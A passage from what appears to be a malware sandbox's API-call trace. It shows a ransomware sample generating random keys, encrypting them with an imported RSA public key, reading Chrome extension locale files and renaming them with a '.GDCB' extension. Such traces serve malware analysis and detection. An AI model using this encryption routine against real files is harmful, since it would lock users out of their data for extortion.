dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.853] CryptEncrypt (in: hKey=0x678ed20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.853] GetLastError () returned 0x0 [0279.853] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.853] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.855] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678eae0) returned 1 [0279.856] CryptGetKeyParam (in: hKey=0x678eae0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.856] CryptEncrypt (in: hKey=0x678eae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.856] GetLastError () returned 0x0 [0279.856] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.856] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.857] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.861] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.864] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x403a, lpOverlapped=0x0) returned 1 [0279.885] VirtualAlloc (lpAddress=0x0, dwSize=0x4040, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.892] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\messages.json.gdcb")) returned 1 [0279.900] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.904] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.907] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.907] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.907] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.907] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.910] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.912] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.913] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.913] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.913] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0279.916] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ec60) returned 1 [0279.916] CryptGetKeyParam (in: hKey=0x678ec60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.916] CryptEncrypt (in: hKey=0x678ec60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.917] GetLastError () returned 0x0 [0279.917] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.917] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0279.919] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678eda0) returned 1 [0279.919] CryptGetKeyParam (in: hKey=0x678eda0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.919] CryptEncrypt (in: hKey=0x678eda0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.920] GetLastError () returned 0x0 [0279.920] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.920] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.921] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.925] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.928] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x416b, lpOverlapped=0x0) returned 1 [0279.937] VirtualAlloc (lpAddress=0x0, dwSize=0x4170, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.946] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\messages.json.gdcb")) returned 1 [0279.952] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0279.956] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.958] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.958] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0279.958] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.958] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0279.961] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0279.963] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0279.963] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0279.963] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0279.964] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0279.966] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ee20) returned 1 [0279.966] CryptGetKeyParam (in: hKey=0x678ee20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.966] CryptEncrypt (in: hKey=0x678ee20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0279.967] GetLastError () returned 0x0 [0279.967] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.967] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0279.969] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678ee60) returned 1 [0279.969] CryptGetKeyParam (in: hKey=0x678ee60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0279.969] CryptEncrypt (in: hKey=0x678ee60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0279.969] GetLastError () returned 0x0 [0279.969] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0279.969] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0279.971] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0279.974] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0279.978] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x41bf, lpOverlapped=0x0) returned 1 [0279.986] VirtualAlloc (lpAddress=0x0, dwSize=0x41c0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0279.993] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\messages.json.gdcb")) returned 1 [0279.998] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.002] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.004] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.004] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.004] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.006] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.010] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.010] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.010] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.010] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.013] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678f060) returned 1 [0280.013] CryptGetKeyParam (in: hKey=0x678f060, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.013] CryptEncrypt (in: hKey=0x678f060, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.013] GetLastError () returned 0x0 [0280.013] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.013] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0280.015] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678efa0) returned 1 [0280.015] CryptGetKeyParam (in: hKey=0x678efa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.015] CryptEncrypt (in: hKey=0x678efa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.016] GetLastError () returned 0x0 [0280.016] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.016] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.017] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.020] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.023] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x583f, lpOverlapped=0x0) returned 1 [0280.032] VirtualAlloc (lpAddress=0x0, dwSize=0x5840, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.043] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\messages.json.gdcb")) returned 1 [0280.050] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0280.053] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.056] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.056] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.056] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.056] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0280.059] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.061] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.061] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.061] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.062] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0280.064] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678eb20) returned 1 [0280.064] CryptGetKeyParam (in: hKey=0x678eb20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.064] CryptEncrypt (in: hKey=0x678eb20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0280.065] GetLastError () returned 0x0 [0280.065] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0280.065] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0280.067] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x678eaa0) returned 1 [0280.067] CryptGetKeyParam (in: hKey=0x678eaa0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0280.067] CryptEncrypt (in: hKey=0x678eaa0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0280.067] GetLastError () returned 0x0 [0280.067] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.067] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0280.069] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0280.072] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0280.075] ReadFile (in: hFile=0x470, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285ced8*=0x5224, lpOverlapped=0x0) returned 1 [0280.085] VirtualAlloc (lpAddress=0x0, dwSize=0x5230, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0280.092] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\messages.json.gdcb")) returned 1 [0280.098] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0280.101] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.105] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.105] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0280.105] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0280.106] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0280.109] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0280.111] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0280.111] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0280.111] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0280.112] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, 